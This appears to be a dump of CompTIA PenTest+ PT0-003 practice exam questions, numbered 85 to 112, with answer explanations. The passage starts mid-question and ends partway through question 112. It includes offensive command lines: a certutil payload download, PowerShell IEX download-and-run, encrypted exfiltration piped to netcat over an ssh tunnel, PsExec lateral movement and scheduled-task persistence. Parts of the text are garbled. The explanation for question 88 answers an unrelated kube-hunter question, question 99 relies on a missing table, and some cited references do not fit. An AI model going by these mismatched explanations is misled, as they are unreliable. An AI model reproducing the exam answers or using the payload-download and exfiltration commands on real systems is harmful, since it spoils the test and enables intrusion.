2 for i in {1..254}
3 ping -c1 192.168.1.$i
4 done
```

The tester executes the script, but it fails with the following error:

-bash: syntax error near unexpected token 'ping'

Which of the following should the tester do to fix the error?

**A.** Add do after line 2

**B.** Replace {1..254} with $(seq 1 254)

**C.** Replace bash with zsh

**D.** Replace $i with ${i}

**Answer: (SHOW ANSWER)**

The missing do keyword is the reason for the syntax error. Bash for loops must include a do statement before executing commands within the loop.

Corrected script:

```
#!/bin/bash
for i in {1..254}; do
ping -c1 192.168.1.$i
done
```

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 4 - Scanning and Enumeration):

"In Bash scripting, control structures like for-loops require correct syntax, including the 'do' keyword for loop logic to execute properly." Reference: Chapter 4, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 85**

During an engagement, a penetration tester found some weaknesses that were common across the customer's entire environment. The weaknesses included the following:

Weaker password settings than the company standard
Systems without the company's endpoint security software installed
Operating systems that were not updated by the patch management system
Which of the following recommendations should the penetration tester provide to address the root issue?
**A.** Add all systems to the vulnerability management system.
**B.** Implement a configuration management system.
**C.** Deploy an endpoint detection and response system.
**D.** Patch the out-of-date operating systems.
**Answer: (SHOW ANSWER)**
Identified Weaknesses:
Weaker password settings than the company standard: Indicates inconsistency in password policies across systems.
Systems without the company's endpoint security software installed: Suggests lack of uniformity in security software deployment.
Operating systems not updated by the patch management system: Points to gaps in patch management processes.
Configuration Management System:
Definition: A configuration management system automates the deployment, maintenance, and enforcement of configurations across all systems in an organization.
Benefits: Ensures consistency in security settings, software installations, and patch management across the entire environment.
Examples: Tools like Ansible, Puppet, and Chef can help automate and manage configurations, ensuring compliance with organizational standards.
Other Recommendations:
Vulnerability Management System: While adding systems to this system helps track vulnerabilities, it does not address the root cause of configuration inconsistencies.
Endpoint Detection and Response (EDR): Useful for detecting and responding to threats, but not for enforcing consistent configurations.
Patch Management: Patching systems addresses specific vulnerabilities but does not solve broader configuration management issues.
Pentest References:
System Hardening: Ensuring all systems adhere to security baselines and configurations to reduce attack surfaces.
Automation in Security: Using configuration management tools to automate security practices, ensuring compliance and reducing manual errors.
Implementing a configuration management system addresses the root issue by ensuring consistent security configurations, software deployments, and patch management across the entire environment.

**NEW QUESTION: 86**

A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
111/tcp open rpcbind
2049/tcp open nfs
Based on the output, which of the following services provides the best target for launching an attack?
**A.** Database
**B.** Remote access
**C.** Email
**D.** File sharing
**Answer: (SHOW ANSWER)**
Based on the Nmap scan results, the services identified on the target server are as follows:
22/tcp open ssh:
Service: SSH (Secure Shell)
Function: Provides encrypted remote access.
Attack Surface: Brute force attacks or exploiting vulnerabilities in outdated SSH implementations. However, it is generally considered secure if properly configured.
25/tcp filtered smtp:
Service: SMTP (Simple Mail Transfer Protocol)
Function: Email transmission.
Attack Surface: Potential for email-related attacks such as spoofing, but the port is filtered, indicating that access may be restricted or protected by a firewall.
111/tcp open rpcbind:
Service: RPCBind (Remote Procedure Call Bind)
Function: Helps in mapping RPC program numbers to network addresses.
Attack Surface: Can be exploited in specific configurations, but generally not a primary target compared to others.
2049/tcp open nfs:
Service: NFS (Network File System)
Function: Allows for file sharing over a network.
Attack Surface: NFS can be a significant target for attacks due to potential misconfigurations that can allow unauthorized access to file shares or exploitation of vulnerabilities in NFS services.
Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege escalation.

**NEW QUESTION: 87**

A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
**A.** powershell.exe impo C:\tools\foo.ps1
**B.** certutil.exe -f https://192.168.0.1/foo.exe bad.exe
**C.** powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/")
**D.** rundll32.exe c:\path\foo.dll,functName
**Answer: (SHOW ANSWER)**
To execute a payload and gain additional access, the penetration tester should use certutil.exe. Here's why:
* Using certutil.exe:
* Purpose: certutil.exe is a built-in Windows utility that can be used to download files from a remote server, making it useful for fetching and executing payloads.
* Command: certutil.exe -f https://192.168.0.1/foo.exe bad.exe downloads the file foo.exe from the specified URL and saves it as bad.exe.
* Comparison with Other Commands:
* powershell.exe impo C:\tools\foo.ps1 (A): Incorrect syntax and not as direct as using certutil for downloading files.
* powershell.exe -noni -encode IEX.Downloadstring("http://172.16.0.1/") (C): Incorrect syntax for downloading and executing a script.
* rundll32.exe c:\path\foo.dll,functName (D): Used for executing DLLs, not suitable for downloading a payload.
Using certutil.exe to download and execute a payload is a common and effective method.

**NEW QUESTION: 88**
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?
**A.** IAST
**B.** SBOM
**C.** DAST
**D.** SAST
**Answer: (SHOW ANSWER)**
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here's why option B is correct:
* Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
* Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
* Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

* Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
* Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
* Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

**NEW QUESTION: 89**
A penetration tester performs several Nmap scans against the web application for a client.
INSTRUCTIONS
Click on the WAF and servers to review the results of the Nmap scans. Then click on each tab to select the appropriate vulnerability and remediation options.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

**Answer:**
See the explanation part for detailed solution.
Explanation:
A screenshot of a computer Description automatically generated
A screenshot of a computer screen Description automatically generated
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN
/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.
Two best remediation options:
Restrict direct communications to App01.example.com to only approved components.
Require an additional authentication header value between CDN.example.com and App01.example.com.
Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
Require an additional authentication header value between CDN.example.com and App01.example.com:

Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

**NEW QUESTION: 90**

During an assessment, a penetration tester obtains access to an internal server and would like to perform further reconnaissance by capturing LLMNR traffic. Which of the following tools should the tester use?



**A.** Burp Suite
**B.** Netcat
**C.** Responder
**D.** Nmap
**Answer: (SHOW ANSWER)**
Responderes una herramienta especializada para capturar traficoLLMNR, NBNS y MDNS, y realizar ataques de spoofing y captura de hashes. Es ampliamente utilizada en entornos Windows para capturar credenciales cuando se resuelven nombres que no existen en el DNS.
Netcat y Burp Suite no estan disenados para este proposito. Nmap sirve para escaneo de redes, pero no para captura ni explotacion de LLMNR.
Referencia:PT0-003 Objective 4.2 - Explain lateral movement techniques and privilege escalation tools (Responder is explicitly listed).

**NEW QUESTION: 91**
A penetration tester sets up a C2 (Command and Control) server to manage and control payloads deployed in the target network. Which of the following tools is the most suitable for establishing a robust and stealthy connection?
**A.** ProxyChains
**B.** Covenant
**C.** PsExec
**D.** sshuttle
**Answer: (SHOW ANSWER)**
C2 servers are used to remotely control compromised systems while avoiding detection.
Covenant (Option B):

Covenant is an advanced C2 framework designed for stealthy post-exploitation in red team operations.
Supports encrypted communication, privilege escalation, and evasion techniques.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "C2 Frameworks in Post-Exploitation" Incorrect options:
Option A (ProxyChains): Used for proxying connections, but not a C2 framework.
Option C (PsExec): A Windows command-line tool for remote execution, but not a C2 tool.
Option D (sshuttle): Used for network tunneling, not full C2.



**NEW QUESTION: 92**
A penetration tester is configuring a vulnerability management solution to perform credentialed scans of an Active Directory server. Which of the following account types should the tester provide to the scanner?
**A.** Read-only
**B.** Domain administrator
**C.** Local user
**D.** Root
**Answer: (SHOW ANSWER)**
To perform credentialed scans on an Active Directory (AD) server, the scanner requires high-level access to retrieve system configuration, patch levels, and user rights. A Domain Administrator account ensures full visibility into domain resources and permissions, which is essential for a complete vulnerability assessment.
From the CompTIA PenTest+ PT0-003 Objectives - Domain 2.0: Information Gathering and Vulnerability Identification:
"Credentialed scans require administrative-level access on target systems to provide detailed insights into software versions, missing patches, and security settings." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 6

**NEW QUESTION: 93**
A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?
**A.** route

**B.** nbtstat
**C.** net
**D.** whoami
**Answer: (SHOW ANSWER)**
Windows provides built-in utilities for user enumeration and privilege escalation.
net command (Option C):
The net command is used to list users, groups, and shares on a Windows system:
net user
net localgroup administrators
net group "Domain Admins" /domain
Useful for gathering privilege escalation targets and understanding user permissions.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Windows Enumeration Commands" Incorrect options:
Option A (route): Displays network routing tables, not user information.
Option B (nbtstat): Used for NetBIOS name resolution, but does not enumerate users.
Option D (whoami): Displays current logged-in user but does not list all users.

**NEW QUESTION: 94**
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?
**A.** Initiate a social engineering campaign.
**B.** Perform credential dumping.
**C.** Compromise an endpoint.
**D.** Share enumeration.
**Answer: (SHOW ANSWER)**
Given that the penetration tester has already obtained an internal foothold on the target network, the next logical step to achieve the objective of collecting confidential information and potentially exfiltrating data or performing a ransomware attack is to perform credential dumping. Here's why:
* Credential Dumping:
* Purpose: Credential dumping involves extracting password hashes and plaintext passwords from compromised systems. These credentials can be used to gain further access to sensitive data and critical systems within the network.
* Tools: Common tools used for credential dumping include Mimikatz, Windows Credential Editor, and ProcDump.
* Impact: With these credentials, the tester can move laterally across the network, escalate privileges, and access confidential information.
* Comparison with Other Options:
* Initiate a Social Engineering Campaign (A): Social engineering is typically an initial access technique rather than a follow-up action after gaining internal access.

* Compromise an Endpoint (C): The tester already has a foothold, so compromising another endpoint is less direct than credential dumping for accessing sensitive information.
* Share Enumeration (D): While share enumeration can provide useful information, it is less impactful than credential dumping in terms of gaining further access and achieving the main objective.
Performing credential dumping is the most effective next step to escalate privileges and access sensitive data, making it the best choice.

**NEW QUESTION: 95**
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?
**A.** Kiosk escape
**B.** Arbitrary code execution
**C.** Process hollowing
**D.** Library injection
**Answer: A (LEAVE A REPLY)**
A kiosk escape involves breaking out of a restricted environment, such as a kiosk or a single application interface, to access the underlying operating system. Here's why option A is correct:
* Kiosk Escape: This attack targets environments where user access is intentionally limited, such as a kiosk or a dedicated application. The goal is to break out of these restrictions and gain access to the full operating system.
* Arbitrary Code Execution: This involves running unauthorized code on the system, but the scenario described is more about escaping a restricted environment.
* Process Hollowing: This technique involves injecting code into a legitimate process, making it appear benign while executing malicious activities.
* Library Injection: This involves injecting malicious code into a running process by loading a malicious library, which is not the focus in this scenario.
References from Pentest:
* Forge HTB: Demonstrates techniques to escape restricted environments and gain broader access to the system.
* Horizontall HTB: Shows methods to break out of limited access environments, aligning with the concept of kiosk escape.
Conclusion:
Option A, Kiosk escape, accurately describes the type of attack where a tester breaks out of a restricted environment to access the underlying operating system.

**NEW QUESTION: 96**
A penetration tester cannot find information on the target company's systems using common OSINT methods.

The tester's attempts to do reconnaissance against internet-facing resources have been blocked by the company's WAF. Which of the following is the best way to avoid the WAF and gather information about the target company's systems?

**A.** HTML scraping

**B.** Code repository scanning

**C.** Directory enumeration

**D.** Port scanning

**Answer: B (LEAVE A REPLY)**

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here's why:

* Code Repository Scanning:

* Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.

* Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

* Comparison with Other Methods:

* HTML Scraping: Limited to the data present on web pages and can still be blocked by WAF.

* Directory Enumeration: Likely to be blocked by WAF as well and might not yield significant internal information.

* Port Scanning: Also likely to be blocked or trigger alerts on WAF or IDS/IPS systems.

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

**NEW QUESTION: 97**

A penetration tester is getting ready to conduct a vulnerability scan to evaluate an environment that consists of a container orchestration cluster. Which of the following tools would be best to use for this purpose?

**A.** NSE

**B.** Nessus

**C.** CME

**D.** Trivy

**Answer: (SHOW ANSWER)**

Trivy is a specialized open-source vulnerability scanner designed for containers and container orchestration environments. It scans container images, file systems, and Git repositories for vulnerabilities and misconfigurations.

According to the CompTIA PenTest+ PT0-003 Study Guide, in discussions about tool selection for containerized environments:

"Trivy is optimized for scanning Docker images and Kubernetes clusters, offering fast and reliable vulnerability detection." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 4

**NEW QUESTION: 98**
A client recently hired a penetration testing firm to conduct an assessment of their consumer-facing web application. Several days into the assessment, the client's networking team observes a substantial increase in DNS traffic. Which of the following would most likely explain the increase in DNS traffic?
**A.** Covert data exfiltration
**B.** URL spidering
**C.** HTML scraping
**D.** DoS attack
**Answer: (SHOW ANSWER)**
An increase in DNS traffic during a penetration test suggests data exfiltration using DNS tunneling, a method where attackers encode data into DNS queries to avoid detection.
* Option A (Covert data exfiltration) #: Correct. DNS tunneling (e.g., dnscat2, Iodine) is a stealthy method to bypass firewalls and extract sensitive data.
* Option B (URL spidering) #: Would cause increased web traffic, not DNS requests.
* Option C (HTML scraping) #: Involves parsing web pages, not DNS traffic.
* Option D (DoS attack) #: DoS floods bandwidth or servers, but does not increase DNS queries significantly.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - DNS Tunneling & Data Exfiltration

**NEW QUESTION: 99**
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts.
The executive report outlines the following:
The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
**A.** Server 1
**B.** Server 2
**C.** Server 3
**D.** Server 4
**Answer: (SHOW ANSWER)**
Since the client is worried about the availability of their consumer-facing application, the perimeter network web server (Server 3) is the most critical because:
It is internet-facing, making it a prime target for attackers.
A compromise could lead to data breaches, downtime, or service disruptions.
Even though it has fewer vulnerabilities (14 vs. 92 on QA server), its exposure is higher.
Option A (Development sandbox server) #: Internal and not publicly accessible.
Option B (Back-office file transfer server) #: Important, but not consumer-facing.
Option C (Perimeter web server) #: Correct. Publicly accessible and critical to operations.
Option D (Developer QA server) #: May have more vulnerabilities, but it's less critical.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Prioritizing Vulnerability Testing

**NEW QUESTION: 100**

After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?



**A.** To enumerate current users
**B.** To determine the users' permissions
**C.** To view scheduled processes
**D.** To create persistence in the network
**Answer: (SHOW ANSWER)**
The logs indicate that the penetration testing team's objective was to create persistence in the network.
Log Analysis:
schtasks /query: This command lists all the scheduled tasks on the system. It is often used to understand what tasks are currently scheduled and running.
schtasks /CREATE /SC DAILY: This command creates a new scheduled task that runs daily. Creating such a task can be used to ensure that a script or program runs regularly, maintaining a foothold in the system.
Persistence:
Definition: Persistence refers to techniques used to maintain access to a compromised system even after reboots or other interruptions.
Scheduled Tasks: One common method of achieving persistence on Windows systems is by creating scheduled tasks that execute malicious payloads or scripts at regular intervals.
Other Options:
Enumerate Current Users: The logs do not show commands related to user enumeration.
Determine Users' Permissions: Commands like whoami or net user would be more relevant for checking user permissions.
View Scheduled Processes: While schtasks /query can view scheduled tasks, the addition of the schtasks
/CREATE command indicates the intent to create new scheduled tasks, which aligns with creating persistence.
Pentest References:
Post-Exploitation: Establishing persistence is a key objective after gaining initial access to ensure continued access.
Scheduled Tasks: Utilizing Windows Task Scheduler to run scripts or programs automatically at specified times as a method for maintaining access.
By creating scheduled tasks, the penetration testing team aims to establish persistence, ensuring they can retain access to the system over time.

**NEW QUESTION: 101**

A penetration tester is conducting reconnaissance on a target network. The tester runs the following Nmap command: nmap -sv -sT -p - 192.168.1.0/24. Which of the following describes the most likely purpose of this scan?

**A.** OS fingerprinting

**B.** Attack path mapping

**C.** Service discovery

**D.** User enumeration

**Answer: C (LEAVE A REPLY)**

The Nmap command nmap -sv -sT -p- 192.168.1.0/24 is designed to discover services on a network. Here is a breakdown of the command and its purpose:

Command Breakdown:

nmap: The network scanning tool.

-sV: Enables service version detection. This option tells Nmap to determine the version of the services running on open ports.

-sT: Performs a TCP connect scan. This is a more reliable method of scanning as it completes the TCP handshake but can be easily detected by firewalls and intrusion detection systems.

-p-: Scans all 65535 ports. This ensures a comprehensive scan of all possible TCP ports.

192.168.1.0/24: Specifies the target network range (subnet) to be scanned.

Purpose of the Scan:

Service Discovery (Answer: C): The primary purpose of this scan is to discover which services are running on the network's hosts and determine their versions. This information is crucial for identifying potential vulnerabilities and understanding the network's exposure.

References:

Service discovery is a common task in penetration testing to map out the network services and versions, as seen in various Hack The Box (HTB) write-ups where comprehensive service enumeration is performed before further actions.

Conclusion: The nmap -sv -sT -p- 192.168.1.0/24 command is most likely used for service discovery, as it aims to identify all running services and their versions on the target subnet.

**NEW QUESTION: 102**

A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

**A.** Phishing

**B.** Tailgating

**C.** Whaling

**D.** Spear phishing

**Answer: (SHOW ANSWER)**

Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

* Understanding Spear Phishing:

* Targeted Attack: Focuses on specific individuals or groups within an organization.
* Customization: Emails are customized based on the recipient's role, interests, or recent activities.
* Purpose:
* Testing Security Awareness: Evaluates how well individuals recognize and respond to phishing attempts.
* Information Gathering: Attempts to collect sensitive information such as credentials, financial data, or personal details.
* Process:
* Reconnaissance: Gather information about the target through social media, public records, and other sources.
* Email Crafting: Create a convincing email that appears to come from a trusted source.
* Delivery and Monitoring: Send the email and monitor for responses or actions taken by the recipient.
* References from Pentesting Literature:
* Spear phishing is highlighted in penetration testing methodologies for testing security awareness and the effectiveness of email filtering systems.
* HTB write-ups and phishing simulation exercises often detail the use of spear phishing to assess organizational security.
Step-by-Step ExplanationReferences:
* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

**NEW QUESTION: 103**
A penetration testing team needs to determine whether it is possible to disrupt wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?
**A.** Port mirroring
**B.** Sidecar scanning
**C.** ARP poisoning
**D.** Channel scanning
**Answer: (SHOW ANSWER)**
To assess wireless communication disruptions, channel scanning is used to identify active Wi-Fi channels, allowing testers to target specific frequencies for jamming or deauthentication attacks.
* Option A (Port mirroring) #: Used for network traffic monitoring, not wireless disruption.
* Option B (Sidecar scanning) #: Not a commonly used technique in wireless testing.
* Option C (ARP poisoning) #: Used to manipulate ARP tables on wired networks, not for wireless interference.
* Option D (Channel scanning) #: Correct.
* Identifies which Wi-Fi channels are in use.
* Helps perform jamming, deauthentication, or interference attacks.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Wireless Attacks and Security Testing

**NEW QUESTION: 104**
A penetration tester is conducting an assessment of a web application's login page. The tester needs to determine whether there are any hidden form fields of interest. Which of the following is the most effective technique?
**A.** XSS
**B.** On-path attack
**C.** SQL injection
**D.** HTML scraping
**Answer: (SHOW ANSWER)**
Hidden form fields in web applications can store user roles, session tokens, and security parameters that attackers may exploit.
HTML scraping (Option D):
Involves analyzing HTML source code to find hidden fields like:
<input type="hidden" name="admin_access" value="true">
Attackers use tools like Burp Suite, ZAP, or browser developer tools (Ctrl+U or Inspect Element) to locate hidden fields.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Web Application Testing and Form Field Analysis" Incorrect options:
Option A (XSS): Exploits JavaScript injection, not for finding hidden fields.
Option B (On-path attack): Involves MITM interception, not directly analyzing form fields.
Option C (SQL injection): Targets databases, not HTML forms

**NEW QUESTION: 105**
While performing a penetration test, a tester executes the following command:
PS c:\tools> c:\hacks\PsExec.exe \\server01.cor.ptia.org -accepteula cmd.exe Which of the following best explains what the tester is trying to do?
**A.** Test connectivity using PsExec on the server01 using cmd.exe
**B.** Perform a lateral movement attack using PsExec
**C.** Send the PsExec binary file to the server01 using cmd.exe
**D.** Enable cmd.exe on the server01 through PsExec
**Answer: (SHOW ANSWER)**
PsExec is a Windows Sysinternals tool that allows users to execute commands on a remote system without needing an interactive login session. The command above is executing cmd.exe on a remote Windows Active Directory domain machine (server01.cor.ptia.org).
* Option A (Test connectivity using PsExec) #: The command does not check connectivity; it executes a command remotely.
* Option B (Perform a lateral movement attack) #: Correct. Lateral movement occurs when an attacker moves from one compromised machine to another within a network, using valid credentials. PsExec is often used for this purpose.

* Option C (Send the PsExec binary) #: The command runs cmd.exe remotely, but it does not transfer PsExec itself.
* Option D (Enable cmd.exe) #: cmd.exe is already enabled by default on most Windows systems.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Lateral Movement with PsExec

**NEW QUESTION: 106**
A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information:
Server-side request forgery (SSRF) vulnerability in test.comptia.org
Reflected cross-site scripting (XSS) vulnerability in test2.comptia.org Publicly accessible storage system named static_comptia_assets SSH port 22 open to the internet on test3.comptia.org
Open redirect vulnerability in test4.comptia.org Which of the following attack paths should the tester prioritize first?
**A.** Synchronize all the information from the public bucket and scan it with Trufflehog.
**B.** Run Pacu to enumerate permissions and roles within the cloud-based systems.
**C.** Perform a full dictionary brute-force attack against the open SSH service using Hydra.
**D.** Use the reflected cross-site scripting attack within a phishing campaign to attack administrators.
**E.** Leverage the SSRF to gain access to credentials from the metadata service.
**Answer: (SHOW ANSWER)**
Leverage SSRF for Metadata Access:
Server-side request forgery (SSRF) vulnerabilities allow attackers to force a server to send requests to internal resources. In cloud environments, SSRF can often be used to access the metadata service (e.g., AWS EC2 metadata) to retrieve credentials for cloud services.
Once credentials are obtained, they can be used to access privileged systems that are not directly accessible from the internet.
Why Not Other Options?
A (Public bucket): Analyzing the bucket for sensitive data is useful but does not directly lead to privileged system access.
B (Pacu): Pacu is used for AWS exploitation but requires credentials or misconfigured roles. SSRF can provide the credentials needed to run Pacu effectively.
C (SSH brute force): Brute-forcing SSH is noisy and inefficient. Privileged systems are likely better protected than SSH open to the internet.
D (Phishing via XSS): This is a longer-term attack and less direct compared to leveraging SSRF.
CompTIA Pentest+ References:
Domain 3.0 (Attacks and Exploits)
SSRF Exploitation and Cloud Metadata Access Techniques

**NEW QUESTION: 107**
A penetration tester writes a Bash script to automate the execution of a ping command on a Class C network:
bash
for var in -MISSING TEXT-
do
ping -c 1 192.168.10.$var
done
Which of the following pieces of code should the penetration tester use in place of the -MISSING TEXT- placeholder?
**A.** crunch 1 254 loop
**B.** seq 1 254
**C.** echo 1-254
**D.** {1.-254}
**Answer: (SHOW ANSWER)**
* Correct Syntax for a Range Loop in Bash:
* The seq command generates a sequence of numbers in a specified range, which is ideal for iterating over IP addresses in a Class C subnet (1-254).
* Example: seq 1 254 will output numbers 1, 2, ..., 254 sequentially.
* Explanation of Other Options:
* A (crunch): The crunch command is used for wordlist generation and is unrelated to looping in Bash.
* C (echo 1-254): This would output "1-254" as a string instead of generating a numeric range.
* D ({1.-254}): This is incorrect Bash syntax and would result in a script error.
* Final Script:
bash
for var in $(seq 1 254)
do
ping -c 1 192.168.10.$var
done
CompTIA Pentest+ References:
* Domain 4.0 (Penetration Testing Tools)
* Bash Scripting and Automation

**NEW QUESTION: 108**
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
**A.** Apply UTF-8 to the data and send over a tunnel to TCP port 25.
**B.** Apply Base64 to the data and send over a tunnel to TCP port 80.
**C.** Apply 3DES to the data and send over a tunnel UDP port 53.
**D.** Apply AES-256 to the data and send over a tunnel to TCP port 443.
**Answer: (SHOW ANSWER)**
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
Encrypting Data with AES-256:
Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.
Example encryption command using OpenSSL:
Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey Setting Up a Secure Tunnel:
Use a tool like OpenSSH to create a secure tunnel over TCP port 443.
Example command to set up a tunnel:
ssh -L 443:targetserver:443 user@intermediatehost
Transferring Data Over the Tunnel:
Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.
Example Netcat command to send data:
cat encrypted.bin | nc targetserver 443
Benefits of Using AES-256 and Port 443:
Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.
Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.
Real-World Example:
During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.
References from Pentesting Literature:
Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.
Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.
References:

Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups

**NEW QUESTION: 109**
During a penetration testing exercise, a team decides to use a watering hole strategy. Which of the following is the most effective approach for executing this attack?
**A.** Compromise a website frequently visited by the organization's employees.
**B.** Launch a DDoS attack on the organization's website.
**C.** Create fake social media profiles to befriend employees.
**D.** Send phishing emails to the organization's employees.
**Answer: (SHOW ANSWER)**
* Watering Hole Attack Explanation:
* A watering hole attack involves compromising a website that the target frequently visits.
* The attacker injects malicious code into the site, which then exploits users who access it.
* Why Not Other Options?
* B: DDoS attacks disrupt services but do not align with the watering hole strategy.
* C: Social engineering may be effective but is not a watering hole attack.
* D: Phishing is unrelated to compromising trusted websites.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)

**NEW QUESTION: 110**
While performing reconnaissance, a penetration tester attempts to identify publicly accessible ICS (Industrial Control Systems) and IoT (Internet of Things) systems. Which of the following tools is most effective for this task?

**A.** theHarvester
**B.** Shodan
**C.** Amass
**D.** Nmap
**Answer: (SHOW ANSWER)**
Shodan is a search engine that specializes in finding internet-connected devices, including ICS, IoT, webcams, routers, and servers. Attackers and security professionals use Shodan to scan for publicly accessible systems that may be vulnerable.
* Option A (theHarvester) #: theHarvester is primarily used for OSINT (Open-Source Intelligence) gathering, such as email addresses, subdomains, and hostnames, but it does not specialize in ICS/IoT discovery.
* Option B (Shodan) #: Correct. Shodan scans the internet for connected devices and services, allowing penetration testers to find ICS/IoT systems that are exposed.
* Option C (Amass) #: Amass is used for subdomain enumeration and DNS reconnaissance, not for ICS or IoT discovery.

* Option D (Nmap) #: Nmap is a port scanner that can identify live hosts and open ports, but it does not search for publicly available systems on a large scale like Shodan.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - OSINT and Reconnaissance

**NEW QUESTION: 111**
During a security assessment of an e-commerce website, a penetration tester wants to exploit a vulnerability in the web server's input validation that will allow unauthorized transactions on behalf of the user. Which of the following techniques would most likely be used for that purpose?
**A.** Privilege escalation
**B.** DOM injection
**C.** Session hijacking
**D.** Cross-site scripting
**Answer: (SHOW ANSWER)**
Comprehensive and Detailed Explanation:
Cross-site scripting (XSS) is a client-side attack where an attacker injects malicious scripts into a web page viewed by other users. When executed in a browser, it can steal session cookies, perform unauthorized transactions, or execute malicious actions on behalf of the victim.
Option D (Cross-site scripting) is correct because XSS can manipulate client-side input validation to execute unauthorized transactions.
Option A (Privilege escalation) is incorrect because it involves gaining higher privileges on a system, not attacking input validation in a web application.
Option B (DOM injection) is incorrect because DOM-based attacks manipulate browser-side JavaScript but are not necessarily used for unauthorized transactions.
Option C (Session hijacking) is incorrect because session hijacking requires capturing a valid user session, whereas XSS can steal session tokens for this purpose.
Reference: CompTIA PenTest+ PT0-003 Official Guide - Chapter 6 (Web Application Attacks).

**NEW QUESTION: 112**
A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings, and high-level statements. Which of the following sections of the report would most likely contain this information?
**A.** Quality control
